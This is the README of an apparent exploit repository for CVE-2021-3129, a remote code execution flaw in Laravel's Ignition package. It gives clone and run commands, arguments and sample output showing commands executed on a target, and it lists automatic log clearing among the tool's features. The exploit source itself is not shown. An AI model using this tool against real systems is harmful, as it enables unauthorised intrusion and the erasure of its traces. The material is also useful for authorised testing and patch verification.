CVE-2021-3129 Laravel Ignition RCE Exploit

This is a Python exploit script for CVE-2021-3129, a remote code execution vulnerability in Laravel when the Ignition package is installed. This vulnerability allows an attacker to execute arbitrary system commands via PHAR deserialization.

Features

• Automatically generates the PHAR payload using phpggc
• Accepts user input for any command to execute (e.g., id, whoami, etc.)
• Automates the entire exploitation process, including clearing logs, injecting the payload, converting logs to PHAR, and triggering the deserialization

Prerequisites

• Python 3.x
• requests library
• PHP installed on your system
• phpggc installed (for generating PHAR payloads)

Installation

1. Clone the repository:

   git clone https://github.com/0x0d3ad/CVE-2021-3129.git
   cd CVE-2021-3129

2. Install required Python packages:

   pip install requests

3. Run the script with the desired target and command:

   python3 CVE-2021-3129.py http://example.com --cmd 'id'

   Example output:

   [+] Generating PHAR payload for command: id
   [+] Trying to clear logs
   [+] Logs cleared
   [+] Convert log file to PHAR
   [+] Successfully converted logs to PHAR
   [+] PHAR deserialized
   ---------------------------------------
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   ---------------------------------------
   [+] Trying to clear logs
   [+] Logs cleared

Arguments

• target (required): The URL of the vulnerable Laravel application.
• --cmd (optional): The command to be executed on the target (default: whoami).
• --log_path (optional): The log file path to be used (default: ../storage/logs/laravel.log).

POC